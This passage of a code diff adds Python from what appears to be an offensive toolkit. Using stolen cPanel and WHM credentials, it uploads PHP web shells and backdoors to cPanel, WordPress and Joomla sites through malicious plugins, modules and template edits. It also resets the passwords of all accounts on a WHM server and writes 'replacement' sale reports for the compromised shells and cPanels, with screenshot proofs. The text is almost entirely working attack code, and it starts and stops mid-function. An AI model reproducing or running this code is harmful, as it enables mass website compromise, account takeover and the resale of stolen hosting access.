' in upFile):
+ print (' {}[+] Upload is Working.'.format(fg))
+ try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=45))
+ except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=60))
+ try:
+ options_Fox = webdriver.ChromeOptions()
+ options_Fox.add_experimental_option('excludeSwitches', ['enable-logging'])
+ driver_Fox = webdriver.Chrome(options=options_Fox)
+ except: print('\n [!] Error, You have to Donwload [ChromeDriver], Read how => https://textbin.net/raw/hqlkimif7g \n'); return
+ driver_Fox.execute_script("window.open('{}', 'fox1');".format('https://generator.email'))
+ driver_Fox.switch_to.window("fox1")
+ time.sleep(3)
+ html_Fox = str(driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML").encode("utf-8"))
+ mailname = re.findall(re.compile('(.*)'), html_Fox)[0]
+ orderID = '{} - {}'.format(domain_Fox(Test_path), str(random.randint(1, 100000) * 987))
+ driver_Fox.execute_script("window.open('{}', 'fox2');".format(Test_path))
+ driver_Fox.switch_to.window("fox2")
+ time.sleep(3)
+ driver_Fox.find_element(By.NAME, 'email').send_keys(mailname)
+ time.sleep(1.5)
+ driver_Fox.find_element(By.NAME, 'orderid').send_keys(orderID)
+ time.sleep(1.5)
+ driver_Fox.find_element(By.XPATH, '//input[3]').click()
+ time.sleep(1.5)
+ driver_Fox.switch_to.window("fox1")
+ time.sleep(7)
+ html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML")
+ start = timer()
+ while ((str(orderID) not in str(html_Fox.encode("utf-8"))) and ((timer() - start) < 38)):
+ time.sleep(5)
+ html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML")
+ if (str(orderID) in str(html_Fox.encode("utf-8"))):
+ print (' {}[+] Sending mail is Working.'.format(fg))
+ namepng = '{}.png'.format(random_Fox(15))
+ driver_Fox.set_window_size(1400, 1000)
+ driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng))
+ proofS = imgurproof(namepng)
+ if (proofS is False):
+ from gyazo import Api
+ proofS = gyazoproof(namepng)
+ driver_Fox.execute_script("window.open('{}', 'fox3');".format(shell))
+ driver_Fox.switch_to.window("fox3")
+ time.sleep(3)
+ namepng = '{}.png'.format(random_Fox(15))
+ driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng))
+ proofW = imgurproof(namepng)
+ if (proofW is False):
+ from gyazo import Api
+ proofW = gyazoproof(namepng)
+ open('Results/Reports_of_Shells.txt', 'a').write('Sir, I will give you a fresh Shell as a [Replacement] with full proofs.\n\nFresh Shell => {}\n\nProof for not phishing and open fine => {}\nProof for send results => {}\nYou can test => {}\nYou can use unzipper for help you => {}\n\nThank you <3\n\n\n'.format(shell, proofW, proofS, Test_path, UNZIPper_path)); success1 = 1
+ else: print(' {}[-] Sending mail isn\'t Working.'.format(fr))
+ driver_Fox.quit()
+ else: print(' {}[-] Upload Failed.'.format(fr))
+ except:
+ print (' {}[-] Shell isn\'t working OR Not-{}Https{}.'.format(fr, fg, fr))
+ try: driver_Fox.quit()
+ except: pass
+
+def solving_cP_Reports_A(ip, user, password, idcp, cookies, domain, home, test):
+ try:
+ global success1
+ delete_files('screenshots', 'png')
+ from selenium import webdriver
+ from imgurpython import ImgurClient
+ newpath = r'screenshots'
+ if (not os.path.exists(newpath)): os.makedirs(newpath)
+ safebrowsing = requestG_Fox('https://transparencyreport.google.com/transparencyreport/api/v3/safebrowsing/status?site={}'.format(domain), 1, headers1)
+ if (safebrowsing is False): print('\n {}[!] Error, Google blocked you! You have to change your IP by VPN\n'.format(fr)); return
+ alert_Fox = safebrowsing.split(',')
+ if ('2' in str(alert_Fox[1])): print(' {}[-] Phishing.'.format(fr)); return
+ req_Fox = requests.session()
+ postlogin_Fox = {'user': user, 'pass': password, 'login_submit': 'Log in'}
+ try: login2_Fox = content_Fox(req_Fox.post('https://{}:2083/login/?login_only=1'.format(domain), data=postlogin_Fox, headers=headers1, timeout=10))
+ except: login2_Fox = content_Fox(req_Fox.post('https://{}:2083/login/?login_only=1'.format(domain), data=postlogin_Fox, headers=headers1, timeout=15))
+ if ('security_token' not in login2_Fox): print(' {}[-] Domain isn\'t Working.'.format(fr)); return
+ print (' {}[+] Domain is Working.'.format(fg))
+ filename = '{}.php'.format(random_Fox(8))
+ testname = 'test-{}.php'.format(random_Fox(3))
+ ziprname = 'unZIPpeR{}.php'.format(random_Fox(3))
+ filedata_Fox = {'dir': '{}{}/public_html'.format(home, user), 'get_disk_info': '1', 'overwrite': '0'}
+ fileup_Fox = {'file-0': (filename, shell_Fox)}
+ try: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=45)
+ except: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60)
+ backdoor_path = 'https://{}/{}'.format(domain, filename)
+ time.sleep(5)
+ try: check_b = content_Fox(requests.get(backdoor_path, headers=headers1, timeout=10))
+ except: check_b = content_Fox(requests.get(backdoor_path, headers=headers1, timeout=15))
+ if ('KEY:' not in check_b and 'MD5:' not in check_b): print(' {}[-] Upload Failed.'.format(fr)); return
+ Test_path = shellPath_Fox(backdoor_path, testname, 1)
+ UNZIPper_path = shellPath_Fox(backdoor_path, ziprname, 1)
+ filedata = {'action': 'upload'}
+ fileup_Test = {'file': (testname, file_get_contents_Fox('Files/{}.txt'.format(test)))}
+ fileup_ZIPper = {'file': (ziprname, file_get_contents_Fox('Files/uz.txt'))}
+ backdoor_path = check(backdoor_path)
+ try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=45))
+ except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=60))
+ if('' in upFile):
+ print (' {}[+] Upload is Working.'.format(fg))
+ try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=45))
+ except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=60))
+ try:
+ options_Fox = webdriver.ChromeOptions()
+ options_Fox.add_experimental_option('excludeSwitches', ['enable-logging'])
+ driver_Fox = webdriver.Chrome(options=options_Fox)
+ except: print('\n [!] Error, You have to Donwload [ChromeDriver], Read how => https://textbin.net/raw/hqlkimif7g \n'); return
+ driver_Fox.execute_script("window.open('{}', 'fox1');".format('https://generator.email'))
+ driver_Fox.switch_to.window("fox1")
+ time.sleep(3)
+ html_Fox = str(driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML").encode("utf-8"))
+ mailname = re.findall(re.compile('(.*)'), html_Fox)[0]
+ orderID = '{} - {}'.format(domain_Fox(Test_path), str(random.randint(1, 100000) * 987))
+ driver_Fox.execute_script("window.open('{}', 'fox2');".format(Test_path))
+ driver_Fox.switch_to.window("fox2")
+ time.sleep(3)
+ driver_Fox.find_element(By.NAME, 'email').send_keys(mailname)
+ time.sleep(1.5)
+ driver_Fox.find_element(By.NAME, 'orderid').send_keys(orderID)
+ time.sleep(1.5)
+ driver_Fox.find_element(By.XPATH, '//input[3]').click()
+ time.sleep(1.5)
+ driver_Fox.switch_to.window("fox1")
+ time.sleep(7)
+ html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML")
+ start = timer()
+ while ((str(orderID) not in str(html_Fox.encode("utf-8"))) and ((timer() - start) < 38)):
+ time.sleep(5)
+ html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML")
+ if (str(orderID) in str(html_Fox.encode("utf-8"))):
+ print (' {}[+] Sending mail is Working.'.format(fg))
+ namepng = '{}.png'.format(random_Fox(15))
+ driver_Fox.set_window_size(1400, 1000)
+ driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng))
+ proofS = imgurproof(namepng)
+ if (proofS is False):
+ from gyazo import Api
+ proofS = gyazoproof(namepng)
+ driver_Fox.execute_script("window.open('{}', 'fox3');".format('https://{}:2083/login/'.format(domain)))
+ driver_Fox.switch_to.window("fox3")
+ time.sleep(4)
+ driver_Fox.find_element(By.NAME, 'user').send_keys(user)
+ time.sleep(1.5)
+ driver_Fox.find_element(By.NAME, 'pass').send_keys(password)
+ time.sleep(1.5)
+ driver_Fox.find_element(By.NAME, 'login').click()
+ time.sleep(7)
+ namepng = '{}.png'.format(random_Fox(15))
+ driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng))
+ proofW = imgurproof(namepng)
+ if (proofW is False):
+ from gyazo import Api
+ proofW = gyazoproof(namepng)
+ open('Results/Reports_of_cPanels.txt', 'a').write('Sir, I will give you a fresh cPanel as a [Replacement] with full proofs.\n\nFresh cPanel: https://{}:2083\nUSERNAME: {}\nPASSWORD: {}\n\nProof for not phishing and open fine => {}\nProof for send results => {}\nYou can test => {}\nYou can use unzipper for help you => {}\n\nThank you <3\n\n\n'.format(domain, user, password, proofW, proofS, Test_path, UNZIPper_path)); success1 = 1
+ else: print(' {}[-] Sending mail isn\'t Working.'.format(fr))
+ driver_Fox.quit()
+ else: print(' {}[-] Upload Failed.'.format(fr))
+ except:
+ print(' {}[-] Domain isn\'t working OR Not-{}Https{}.'.format(fr, fg, fr))
+ try: driver_Fox.quit()
+ except: pass
+
+def WHM_exploiter(backdoor, cpanelRs):
+ try:
+ sys.stdout.write(' {}[*] Getting cPanels from WHM '.format(fc)); waiting()
+ for rs in cpanelRs:
+ rs = rs.split('|')
+ username = rs[1]
+ password = rs[2]
+ try:
+ ip = 'https://{}:2087'.format(domain_Fox(backdoor))
+ ipHost = socket.gethostbyname(domain_Fox(backdoor))
+ c = WHM_PWD_CHer_P(ip, username, password, ipHost)
+ if (c is False): print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr))
+ elif (c == 0): print (' {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, c, fr))
+ else: print (' {}[+] Saved in {}Results/WHM/{}-{}.txt'.format(fg, fr, ipHost, username))
+ except: print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr))
+ except:
+ print(' {}[-] Failed.'.format(fr))
+
+def WHM_AH_exploiter(backdoor):
+ global backdoor3
+ try:
+ sys.stdout.write(' {}[*] Getting cPanels from WHM '.format(fc)); waiting()
+ hashs = requestG_Fox('{}?action={}'.format(backdoor, backdoor3), 1, headers1, 30)
+ if (re.findall(re.compile('(.*):(.*)'), hashs)): hashs = re.findall(re.compile('(.*):(.*)'), hashs)
+ for h in hashs:
+ username = h[0]
+ try:
+ accesshash = h[1]
+ ip = 'https://{}:2087'.format(domain_Fox(backdoor))
+ ipHost = socket.gethostbyname(domain_Fox(backdoor))
+ c = WHM_PWD_CHer_A(ip, username, accesshash, ipHost)
+ if (c is False): print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr))
+ elif (c == 0): print (' {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, c, fr))
+ else: print (' {}[+] Saved in {}Results/WHM/{}-{}.txt'.format(fg, fr, ipHost, username))
+ except: print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr))
+ except:
+ print(' {}[-] Failed.'.format(fr))
+
+def WHM_PWD_CHer_A(ip, username, accesshash, ipHost):
+ try:
+ counter = 0
+ newpath = r'Results/WHM'
+ if (not os.path.exists(newpath)): os.makedirs(newpath)
+ login = WHM_Login_A(ip, username, accesshash)
+ if (login is False): return False
+ headers_WHM = login
+ if (':2087' in ip):
+ protocol = 'https://'
+ port = ':2083'
+ ipcp = ip.replace('2087', '2083')
+ elif (':2086' in ip):
+ protocol = 'http://'
+ port = ':2082'
+ ipcp = ip.replace('2086', '2082')
+ else:
+ protocol = 'https://'
+ port = ':2083'
+ ipcp = '{}:2083'.format(ip)
+ try: getUser = content_Fox(requests.get('{}/json-api/listaccts?viewall=1'.format(ip), headers=headers_WHM, verify=False, timeout=30))
+ except: getUser = content_Fox(requests.get('{}/json-api/listaccts?viewall=1'.format(ip), headers=headers_WHM, verify=False, timeout=45))
+ try:
+ listaccts = json.loads(getUser)
+ usersdata = listaccts['acct']
+ except: return counter
+ for userdata in usersdata:
+ try:
+ user = userdata.get('user')
+ domain = userdata.get('domain')
+ if (str(username) != str(user)):
+ newPasswd = passwrod_creator()
+ postchangeP = {'api.version': '1', 'password': newPasswd, 'user': user}
+ try: changePR = requests.post('{}/json-api/passwd'.format(ip), headers=headers_WHM, data=postchangeP, verify=False, timeout=30)
+ except: changePR = requests.post('{}/json-api/passwd'.format(ip), headers=headers_WHM, data=postchangeP, verify=False, timeout=45)
+ if (changePR):
+ counter = counter + 1
+ sys.stdout.write('\r {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, counter, fr))
+ sys.stdout.flush()
+ open('Results/WHM/{}-{}.txt'.format(ipHost, username), 'a').write('{}{}{}|{}|{}\n'.format(protocol, domain, port, user, newPasswd))
+ except:
+ pass
+ print ('')
+ return counter
+ except:
+ return False
+
+def WHM_PWD_CHer_P(ip, username, password, ipHost) :
+ try:
+ counter = 0
+ newpath = r'Results/WHM'
+ if (not os.path.exists(newpath)): os.makedirs(newpath)
+ login = WHM_Login_P(ip, username, password)
+ if (login is False): return False
+ cookies = login[0]
+ idcp = login[1]
+ if (':2087' in ip):
+ protocol = 'https://'
+ port = ':2083'
+ ipcp = ip.replace('2087', '2083')
+ elif (':2086' in ip):
+ protocol = 'http://'
+ port = ':2082'
+ ipcp = ip.replace('2086', '2082')
+ else:
+ protocol = 'https://'
+ port = ':2083'
+ ipcp = '{}:2083'.format(ip)
+ try: getUser = content_Fox(cookies.get('{}/{}/json-api/listaccts?viewall=1'.format(ip, idcp), verify=False, timeout=30))
+ except: getUser = content_Fox(cookies.get('{}/{}/json-api/listaccts?viewall=1'.format(ip, idcp), verify=False, timeout=45))
+ try:
+ listaccts = json.loads(getUser)
+ usersdata = listaccts['acct']
+ except: return counter
+ for userdata in usersdata:
+ try:
+ user = userdata.get('user')
+ domain = userdata.get('domain')
+ if (str(username) != str(user)):
+ newPasswd = passwrod_creator()
+ postchangeP = {'api.version': '1', 'password': newPasswd, 'user': user}
+ try: changePR = cookies.post('{}/{}/json-api/passwd'.format(ip, idcp), data=postchangeP, verify=False, timeout=30)
+ except: changePR = cookies.post('{}/{}/json-api/passwd'.format(ip, idcp), data=postchangeP, verify=False, timeout=45)
+ if (changePR):
+ counter = counter + 1
+ sys.stdout.write('\r {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, counter, fr))
+ sys.stdout.flush()
+ open('Results/WHM/{}-{}.txt'.format(ipHost, username), 'a').write('{}{}{}|{}|{}\n'.format(protocol, domain, port, user, newPasswd))
+ except:
+ pass
+ print ('')
+ return counter
+ except:
+ return False
+
+def WHM_Login_A(ip, username, accesshash):
+ try:
+ if ('\n' in accesshash): accesshash = accesshash.replace('\n', '')
+ headers_WHM = {'Authorization': 'WHM {}:{}'.format(username, accesshash)}
+ try: login = content_Fox(requests.get('{}/json-api/'.format(ip), headers=headers_WHM, verify=False, timeout=10))
+ except: login = content_Fox(requests.get('{}/json-api/'.format(ip), headers=headers_WHM, verify=False, timeout=15))
+ if ('Unknown App Requested' in login): return headers_WHM
+ else: return False
+ except:
+ return False
+
+def WHM_Login_P(ip, username, password):
+ try:
+ req = requests.session()
+ postlogin = {'user': username, 'pass': password, 'login_submit': 'Log in', 'goto_uri': '/'}
+ try: login = content_Fox(req.post('{}/login/?login_only=1'.format(ip), data=postlogin, verify=False, timeout=10))
+ except: login = content_Fox(req.post('{}/login/?login_only=1'.format(ip), data=postlogin, verify=False, timeout=15))
+ if ('security_token' not in login): return False
+ loginJson = json.loads(login)
+ idcp = loginJson["security_token"][1:]
+ return req, idcp
+ except:
+ return False
+
+def cPanel_Login(ip, username, password):
+ try:
+ reqFox = requests.session()
+ postlogin_Fox = {'user': username, 'pass': password, 'login_submit': 'Log in'}
+ try: loginCP_Fox = content_Fox(reqFox.post('{}/login/'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=10))
+ except: loginCP_Fox = content_Fox(reqFox.post('{}/login/'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=15))
+ if ('filemanager' in loginCP_Fox or '/home' in loginCP_Fox):
+ open('Results/Successfully_logged_cPanels.log', 'a').write('{}|{}|{}\n'.format(ip, username, password))
+ if (re.findall(re.compile('PAGE.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)): idcp_Fox = re.findall(re.compile('PAGE.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)[0][1]
+ elif (re.findall(re.compile('MASTER.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)): idcp_Fox = re.findall(re.compile('MASTER.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)[0][1]
+ elif (re.findall(re.compile('href="/cpsess(.*)/3rdparty'), loginCP_Fox)): idcp_Fox = 'cpsess{}'.format( re.findall(re.compile('href="/cpsess(.*)/3rdparty'), loginCP_Fox)[0])
+ elif (re.findall(re.compile('href="/cpsess(.*)/frontend/'), loginCP_Fox)): idcp_Fox = 'cpsess{}'.format(re.findall(re.compile('href="/cpsess(.*)/frontend'), loginCP_Fox)[0])
+ elif (re.findall(re.compile('href="/cpsess(.*)/xferwhm'), loginCP_Fox)): idcp_Fox = 'cpsess{}'.format(re.findall(re.compile('href="/cpsess(.*)/xferwhm'), loginCP_Fox)[0])
+ else:
+ reqFox = requests.session()
+ try: loginCP_Fox2 = content_Fox(reqFox.post('{}/login/?login_only=1'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=10))
+ except: loginCP_Fox2 = content_Fox(reqFox.post('{}/login/?login_only=1'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=15))
+ loginJson = json.loads(loginCP_Fox2)
+ idcp_Fox = loginJson["security_token"][1:]
+ if (re.findall(re.compile('PAGE.domain.*=.*"(.*)";'), loginCP_Fox)): domain_Fox = re.findall(re.compile('PAGE.domain.*=.*"(.*)";'), loginCP_Fox)[0]
+ elif (re.findall(re.compile(''), loginCP_Fox)): domain_Fox = re.findall(re.compile(''), loginCP_Fox)[0]
+ elif (re.findall(re.compile('(.*)'), loginCP_Fox)): domain_Fox = re.findall(re.compile('(.*)'), loginCP_Fox)[0]
+ elif (re.findall(re.compile('(.*)'), loginCP_Fox)): domain_Fox = re.findall(re.compile('(.*)'), loginCP_Fox)[0]
+ if (re.findall(re.compile('/home(.*){}'.format(username)), loginCP_Fox)): home = '/home{}'.format(re.findall(re.compile('/home(.*){}'.format(username)), loginCP_Fox)[0])
+ else: home = '/home/'
+ return reqFox, idcp_Fox, domain_Fox, home
+ else: return False
+ except:
+ return False
+
+def file_UPloader_cP(ip, username, cookies, idcp, domain, home):
+ try:
+ filename = '{}.php'.format(random_Fox(8))
+ filedata_Fox = {'dir': '{}{}/public_html'.format(home, username), 'get_disk_info': '1', 'overwrite': '0'}
+ fileup_Fox = {'file-0': (filename, shell_Fox)}
+ try: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=120)
+ except: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=150)
+ time.sleep(3)
+ try:
+ shell_path = 'https://{}/{}'.format(domain, filename)
+ check = content_Fox(requests.get(shell_path, headers=headers1, timeout=15))
+ except:
+ shell_path = 'http://{}/{}'.format(domain, filename)
+ check = content_Fox(requests.get(shell_path, headers=headers1, verify=False, timeout=15))
+ if ('KEY:' in check or 'MD5:' in check): return shell_path
+ else: return False
+ except:
+ return False
+
+def cPanel(cP_data, up=0):
+ try:
+ if (int(cP_data.count('|')) != 2): print(' {}[-] The list must be https://domain.com:2083|username|password'.format(fr)); return False
+ cp = cP_data.split('|')
+ ip = cp[0]
+ username = cp[1]
+ password = cp[2]
+ print (' [*] cPanel: {}'.format(ip))
+ print (' [*] Username: {}'.format(username))
+ print (' [*] Password: {}'.format(password))
+ login_Fox = cPanel_Login(ip, username, password)
+ if (login_Fox is False): print(' {}[-] Login Failed.'.format(fr)); return False
+ open('Results/Login_Successful_cPanels.txt', 'a').write('{}\n'.format(cP_data))
+ print (' {}[+] Login successful.'.format(fg))
+ if (int(up) == 1):
+ shell_path = file_UPloader_cP(ip, username, login_Fox[0], login_Fox[1], login_Fox[2], login_Fox[3])
+ if (shell_path is False): print(" {}[-] Failed upload.".format(fr)); return False
+ else: return shell_path
+ else:
+ return login_Fox[0], login_Fox[1], login_Fox[2], login_Fox[3]
+ except:
+ print(' {}[-] Failed.'.format(fr)); return False
+
+def randomPluginWP_Fox(url, cookies):
+ try:
+ foldername = random_Fox(7)
+ try:plugin_install_php = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?tab=upload'.format(url), headers=headers1, timeout=15))
+ except: plugin_install_php = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?tab=upload'.format(url), headers=headers1, verify=False, timeout=10))
+ if (not re.findall(re.compile('id="_wpnonce" name="_wpnonce" value="(.*)"'), plugin_install_php)): return 'F'
+ ID_wp = re.findall(re.compile('id="_wpnonce" name="_wpnonce" value="(.*)"'), plugin_install_php)[0]
+ if ('"' in ID_wp): ID_wp = ID_wp.split('"')[0]
+ filedata_Fox = {'_wpnonce': ID_wp, '_wp_http_referer': '/wp-admin/plugin-install.php?tab=upload', 'install-plugin-submit': 'Install Now'}
+ fileup_Fox = {'pluginzip': ('{}.zip'.format(foldername), open('Files/plugin.zip', 'rb'), 'multipart/form-data')}
+ try: upload = cookies.post('{}/wp-admin/update.php?action=upload-plugin'.format(url), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60)
+ except: upload = cookies.post('{}/wp-admin/update.php?action=upload-plugin'.format(url), data=filedata_Fox, files=fileup_Fox, headers=headers1, verify=False, timeout=60)
+ shellname = '{}/wp-content/plugins/{}/index.php'.format(url, foldername)
+ check = requestG_Fox(shellname, 1, headers1)
+ if ('KEY:' in check or 'MD5:' in check): return shellname
+ return 'F'
+ except:
+ return 'F'
+
+def wp_file_manager_Fox(domain, cookies) :
+ try :
+ filename = '{}.php'.format(random_Fox(8))
+ shell = file_get_contents_Fox('Files/bk.txt')
+ try: getID = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?s=File+Manager&tab=search&type=term'.format(domain), verify=False, headers=headers1, timeout=15))
+ except: getID = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?s=File+Manager&tab=search&type=term'.format(domain), verify=False, headers=headers1, timeout=10))
+ if ('admin.php?page=wp_file_manager' in getID) :
+ try: getID = content_Fox(cookies.get('{}/wp-admin/admin.php?page=wp_file_manager#elf_l1_Lw'.format(domain), verify=False, headers=headers1, timeout=15))
+ except: getID = content_Fox(cookies.get('{}/wp-admin/admin.php?page=wp_file_manager#elf_l1_Lw'.format(domain), verify=False, headers=headers1, timeout=10))
+ if (re.findall(re.compile('admin-ajax.php","nonce":"(.*)","lang"'), getID)) :
+ ID_wp = re.findall(re.compile('admin-ajax.php","nonce":"(.*)","lang"'), getID)[0]
+ if ('"' in ID_wp): ID_wp = ID_wp.split('"')[0]
+ fileup_Fox = {'upload[]': (filename, shell, 'multipart/form-data')}
+ filedata_Fox = {'_wpnonce': ID_wp, 'action': 'mk_file_folder_manager', 'cmd': 'upload', 'target': 'l1_Lw'}
+ try : up_Fox = cookies.post('{}/wp-admin/admin-ajax.php'.format(domain), data=filedata_Fox, files=fileup_Fox, verify=False, headers=headers1, timeout=60)
+ except : up_Fox = cookies.post('{}/wp-admin/admin-ajax.php'.format(domain), data=filedata_Fox, files=fileup_Fox, verify=False, headers=headers1, timeout=45)
+ check_UP = requestG_Fox('{}/{}'.format(domain, filename), 1, headers1)
+ if ('KEY:' in check_UP or 'MD5:' in check_UP) : return'{}/{}'.format(domain, filename)
+ elif ((re.findall(re.compile('plugins.php\?_wpnonce=(.*)&action=activate&plugin=wp-file-manager'), getID) or re.findall(re.compile('file_folder_manager.php&_wpnonce=(.*)" target="_parent">(.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) '), plugin_install_Fox)):
+ directory_Fox = '{}tmp'.format(re.findall(re.compile('value="(.*)tmp".*/>'), plugin_install_Fox)[0])
+ rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), plugin_install_Fox)[0]
+ filedata_Fox = {'install_directory': directory_Fox, 'install_url': '', 'type': '', 'installtype': 'upload', 'task': 'install.install', rhash_Fox: '1', 'return': ',{}'.format(rhash_Fox)}
+ fileup_Fox = {'install_package': ('mod_ariimageslidersa.zip', open('Files/mod_ariimageslidersa.zip', 'rb'), 'multipart/form-data')}
+ try: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=45)
+ except: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60)
+ check_plugin_shell = requestG_Fox('{}/modules/mod_ariimageslidersa/mod_ariimageslidersa.php'.format(domain), 1, headers1)
+ if ('KEY:' in check_plugin_shell or 'MD5:' in check_plugin_shell): return '{}/modules/mod_ariimageslidersa/mod_ariimageslidersa.php'.format(domain)
+ return 'F'
+ except:
+ return 'F'
+
+def mod_simplefileuploadJ30v1_Fox(domain, cookies) :
+ try:
+ try: plugin_install_Fox = content_Fox(cookies.get('{}/administrator/index.php?option=com_installer'.format(domain), verify=False, headers=headers1, timeout=15))
+ except: plugin_install_Fox = content_Fox(cookies.get('{}/administrator/index.php?option=com_installer'.format(domain), verify=False, headers=headers1, timeout=10))
+ if (re.findall(re.compile('value="(.*)tmp".*/>'), plugin_install_Fox)):
+ directory_Fox = '{}tmp'.format(re.findall(re.compile('value="(.*)tmp".*/>'), plugin_install_Fox)[0])
+ rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), plugin_install_Fox)[0]
+ filedata_Fox = {'install_directory': directory_Fox, 'install_url': '', 'type': '', 'installtype': 'upload', 'task': 'install.install', rhash_Fox: '1', 'return': ',{}'.format(rhash_Fox)}
+ fileup_Fox = {'install_package': ('mod_simplefileuploadJ30v1.3.5.zip', open('Files/mod_simplefileuploadJ30v1.3.5.zip', 'rb'), 'multipart/form-data')}
+ try: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=90)
+ except: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60)
+ check_plugin_shell = requestG_Fox('{}/modules/mod_simplefileuploadv1.3/elements/wcg9LbOHD14.php'.format(domain), 1, headers1)
+ if ('KEY:' in check_plugin_shell or 'MD5:' in check_plugin_shell): return '{}/modules/mod_simplefileuploadv1.3/elements/wcg9LbOHD14.php'.format(domain)
+ return 'F'
+ except:
+ return 'F'
+
+def com_templates_Fox(domain, cookies) :
+ shell = file_get_contents_Fox('Files/bk.txt')
+ try:
+ try: beez3 = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), verify=False, headers=headers1, timeout=15))
+ except: beez3 = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), verify=False, headers=headers1, timeout=10))
+ if ('jsstrings.php' in beez3 and re.findall(re.compile('type="hidden" name="(.*)" value="1"'), beez3)):
+ rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), beez3)[0]
+ edit_file_Fox = {'jform[source]': shell, 'task': 'template.apply', rhash_Fox: '1', 'jform[extension_id]': '503', 'jform[filename]': '/jsstrings.php'}
+ try: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=60)
+ except: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=45)
+ check_UP = requestG_Fox('{}/templates/beez3/jsstrings.php'.format(domain), 1, headers1)
+ if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/templates/beez3/jsstrings.php'.format(domain)
+ else:
+ try: hathor = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), verify=False, headers=headers1, timeout=15))
+ except: hathor = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), verify=False, headers=headers1, timeout=10))
+ if ('error.php' in hathor and re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)):
+ rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)[0]
